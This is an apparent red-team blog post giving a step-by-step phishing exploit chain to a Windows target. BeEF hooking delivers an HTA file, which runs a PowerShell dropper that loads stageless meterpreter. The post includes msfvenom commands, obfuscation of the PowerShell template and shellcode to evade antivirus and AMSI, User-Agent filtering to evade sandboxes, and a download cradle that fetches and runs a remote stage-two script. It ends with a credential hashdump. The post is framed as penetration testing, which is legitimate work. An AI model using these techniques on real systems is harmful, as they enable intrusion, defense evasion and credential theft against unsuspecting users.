1-click meterpreter exploit chain with BeEF and AV/AMSI bypass

blue
10 min readJun 26, 2020

--

The goal of this article is to demonstrate a working exploit chain step-by-step. The idea is to provide a small guide for multi staged payload delivery including bypass of common defenses found in corporate networks to obtain RCE. Anti-virus bypass is not the focus of this article, as it should not be the focus of any penetration test, however techniques to perform quick bypass for virtually any AVs on the market will be showcased. More generally, any constraints lying before the attacker on its way to meterpreter, such as proxies, sandboxes, AMSI, etc., will be discussed and we will show solutions to each of those problems.

This article will take as example a payload delivery done for a red team engagement in 2020. For this engagement, a raw bash script was developed to automate each step of payload generation. Some parts will be showcased later and you can find a link to the script in reference.

Payload delivery scenario

The idea was to perform delivery using phishing via link that would redirect user to download and execute our malicious payload.
There were multiple constraints to successfully obtaining RCE. First, their workstations could run either Windows or MacOS, so we had to get ready to generate two different payloads and deliver accordingly.
Then, they have a proxy. Hopefully, we knew that their proxy is transparent, so it would not be that hard. Finally, they also have a sandbox that checks links and attachments in emails.
We will focus on Windows scenario, since it is the most interesting case with some constraints.
We opted for three-staged payload with HTA to PowerShell dropper to meterpreter. PowerShell is still one of the most reliable ways to inject code in memory on Windows nowadays, even with the presence of AMSI (we will show later how AMSI has been circumvented).

Showcasing the exploit chain: HTA + PowerShell dropper + Meterpreter

We decided to prepare an HTA file that would execute our PowerShell dropper on the victim’s Windows machine. A lot of companies still use Internet Explorer or Edge as their default browser, so it is not rare that HTA-based scenario works.
So, we would have an exploit chain looking like this:

3 stages exploit chain

For meterpreter, we used reverse HTTPS payload since they have proxy.
One question we asked ourselves is: “should we use staged or stageless meterpreter?” Technically, with staged meterpreter, exploit chain would result in 4 stages delivery. The issue to consider here is detection. By loading external pieces of code in memory, we can easily get catched by EDR. That is why stageless should be the preferable option.

Configuring BeEF and reverse proxy

The next question on our mind was: “how to deliver HTA?” For our engagements, we like to use BeEF. One good point of BeEF is that, even in case of payload delivery failure, the browser is still hooked, and it is possible to try other techniques. Also, BeeF already has a module that performs HTA delivery, named “HTA PowerShell”. HTA from BeEF uses PowerShell dropper to inject MSF reverse HTTPS payload. However, we would not use the one from BeEF because it is probably flagged, so we have to use a customized HTA and tell BeEF to deliver it instead.

This is possible by setting the options of the HTA PowerShell module. However, we discovered some strange behavior with BeEF that would just not grab our payload served by Apache or any other HTTP server with default config. The issue was a hard-coded path inside BeEF source, so we had to remove it. For example, if we served a file named “hta.hta”, it would not work due to lack of extension, except if we would perform URI redirection.

Modification to perform in command.js

And then our test HTA file could be successfully grabbed by BeEF and delivered.
We configured our reverse proxy to deliver payload based on User-Agent to fool sandbox. It is useful to prevent sandbox from grabbing the payload, because we will only serve payloads to legitimate User-Agents. So, if the sandbox uses non-Windows User-Agent, it will see nothing except a simple HTML page. That is not foolproof, but a well-known trick to evade sandbox detection. Since, there were multiple OS at the targeted company, it was also used to deliver the correct payload for each OS.
Let us enter the core subject by explaining how we manage to perform payload customization in order to have working and undetectable payloads.

Modifying MSF PowerShell template

First, we will focus on our PowerShell stage that will be called inside the HTA file.
We started from basic MSF psh-net payload:

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<LHOST> LPORT=443 -f psh-net -o msf_payload.ps1

Just for fun, we tried to upload this payload without the shellcode (replacing base64 shellcode by encoded “hello”), and here is the detection we got:

This shows that most of the detection comes from the PowerShell template and not from the shellcode itself. So, the goal is to modify the PS file enough that signatures will not match in order to avoid static detection. There are quite a few “techniques” for that:

  • Splitting strings in several parts and creating intermediate variables;
  • Adding loads of junk comments;
  • Adding some junk instructions, such as loop or sleep instructions (useful for sandboxes).

This approach can be automated quite easily.

Below are simple examples of how we can obfuscate parts of PS file:

[DllImport(“kernel32.dll”)]

to

[DllImport(“ke”+”rne”+”l32.dll”)]

$przdE.ReferencedAssemblies.AddRange(@(“System.dll”, [PsObject].Assembly.Location))

to

$magic = “Syst”+”em”+”.dll”; $lnNJd.ReferencedAssemblies.AddRange(@($magic, [PsObject].Assembly.Location))

Splitting the shellcode will prevent any part of the signature from matching (we will also see later how to modify the shellcode):

$sc0=<Part 1 of shellcode> ; … $sc7=<Part 8 of shellcode>; [Byte[]]$tcomplete_sc = [System.Convert]::FromBase64String($sc0+$sc1+…+$sc7)

For staged payload, only around 7 chunks is sufficient, however, since stageless shellcode is much bigger, it can be interesting to automate this step, as we will show at the end of the article. Splitting stageless shellcodes into chunks of 1337 characters gave more than 201 chunks, so performing it manually can be quite tedious.

When submitting our modified payload with default MSF shellcode to VirusTotal, here is the result:

The next part will be about shellcode modification and how to avoid being catched in memory.

Tweaking the shellcode

Modifying shellcode is the “trickiest” part of payload customization. Some misplaced changes could break the shellcode, so it is important to do “safe” changes and to test it after. There are several places where you have to look for the signature. In the past, all MSF payloads were encoded with shikata-ga-nai, unless specified otherwise. Encoder is still useful compared to no encoder, because raw meterpreter in memory will easily be catched by EDR and IPS/IDS. So, modifying shellcode signature is the way to go.
Also, if you modify shellcode well enough, you can bypass AMSI.
You do not really need assembly knowledge for this, since some instructions are pretty much self-explanatory such as inc or dec.

First step to shellcode modification is to extract shellcode and put it in a file. Here, we will take default MSF staged reverse HTTPS payload for demo.

Extract base64-encoded payload string:

cat raw_pshnet_revhttps.ps1 | grep FromBase64String | grep -o ".*" | sed 's/"//g' > raw_pshnet_revhttps.base64.txt

Transform in hex string:

base64 -d raw_pshnet_revhttps.base64.txt | xxd -p | tr -d '\n' > raw_pshnet_revhttps.hex.txt

Next, paste your hexadecimal string into disassembler. We will use online disassembler https://defuse.ca/online-x86-assembler.htm for demo purpose. Do not forget to put the correct architecture. Here we have a x64 payload. Note that since some changes to PowerShell, you cannot make 32b shellcode work with 64b PowerShell process, you must use x64 shellcode.

You see the first disassembled instructions:

We want to put junk instructions at the beginning of the assembly code. Be careful, if you put instructions after the call to cld, the shellcode will be broken, since string operations will have impact on index registers (esi and edi).

You can add some instructions such as xor, inc, dec, add, sub, mov, nop etc. at the beginning. There are many ways to add instructions, but you could just use assembler on defuse.ca to assemble your instructions and then put it back in shellcode.
Below is an example of instructions we added:

Do not add too much nop in succession, because it could be flagged as suspicious. Here we modified the rax register because it is not used at the beginning.
Of course, the same operation can be done at different places in the shellcode.
Once you have your shellcode ready, you can paste it in a file and convert it to base64.

xxd -p -r final_pshnet_revhttps.hex.txt | base64 | tr -d '\n' > final_pshnet_revhttps.base64.txt

Finally, you can put it back into the PS file.

Preparing HTA file

So now that we have shellcode and PowerShell template ready, we need to prepare the HTA file that will execute our dropper.
MSF can generate an HTA file with the following command:

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=X.X.X.X LPORT=443 -f hta-psh -o msf_hta.hta

Here the payload is stageless reverse HTTPS, but we do not care about generated payload since we will use HTA to call our own PowerShell payload. It will generate a file with embedded VBScript that will call PowerShell with an encoded command, which performs loading of shellcode in memory.

We will decode the original payload and adapt it to execute our own PowerShell payload. Put it in a file and we are going to decode it:

cat base64_hta_payload.txt | base64 -d > decoded_hta_payload.txt

Result should look like this:

What we want to do here is remove the loading of the base64 shellcode and instead perform a web request to execute our PowerShell stage 2 payload that is hosted on our web server.
We also have to take into account proxy before doing the request.

In PowerShell, this would give something like this:

[System.Net.WebRequest]::DefaultWebProxy=[System.Net.WebRequest]::GetSystemWebProxy();[System.Net.WebRequest]::DefaultWebProxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;IWR http://X.X.X.X/stage2.ps1 -UserAgent ‘Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko’|IEX

Here we set the User-Agent so that our web server would serve the correct payload (matching on “Windows” User-Agent).
Then you need to convert your modified dropper in base64 UTF-16LE and put it back in HTA file:

cat decoded_hta_payload.txt | iconv -f ascii -t utf-16le | base64 | tr -d '\n' > hta_payload.base64.txt

The result looks like this:

Finally, we have our exploit chain ready.

Launching the attack

Time to test! The victim is a Windows 10 Pro version 1909 (OS Build 18363.600) with all protections enabled.

We simulate browser hooking with BeEF by browsing to a page containing BeEF hook script. In real life, this can be done through XSS exploitation, phishing campaign… Our Internet Explorer browser is hooked:

From here, we can go to the HTA PowerShell module and launch it. We rewrite the serving domain and HTA handler to serve our custom payload:

HTA is delivered to our victim:

Once the victim clicks on open, it will download PowerShell dropper (stage 2) and execute it. The latter will then inject full meterpreter shellcode inside memory (since it’s stageless), so we won’t be catched when trying to load meterpreter modules.
All of this is of course hidden from the victim, and we get our meterpreter session a few seconds after click. Meterpreter is fully working and not catched by anti-virus solution (in this case, we tested with up-to-date Windows Defender).

Conclusion

The method showcased here is quite simple and does not take a lot of efforts, which meets penetration testing requirements where you usually do not have a lot of time to prepare things or build fancy tools. Note that the technique that has been shown here to bypass AV is just one of the many ways that could be used in order to do so.
Actually, we could go even further (and we are planning to) by automating shellcode changes. Then, we would have full automated MSF payload modification. You could encounter other defenses such as AppLocker, which we do not talk about here, that will render that kind of approach useless since PowerShell will not be at our disposal anymore. This could become the subject of another post in the future, depending on the feedback we will get.

Funny side note

After uploading our payload to VirusTotal, we got a connection back to our meterpreter listener from a third-party IP address. Our assumption is that it was THOR APT Scanner, which creates Yara rules from almost everything uploaded to VirusTotal (including PowerShell scripts without shellcode) but do not fall in the OST debate :P.
Below is a screenshot of hashdump command we managed to run:

Requests going through our nginx
Hashdump on remote machine

References

  1. @kmkz_security @darksh3llRU @bluedenkare
  2. https://raw.githubusercontent.com/darksh3llRU/tools/master/psh-net_shellcode_fastchange.sh
  3. https://github.com/kmkz/Pentesting/AV_Evasion

--

--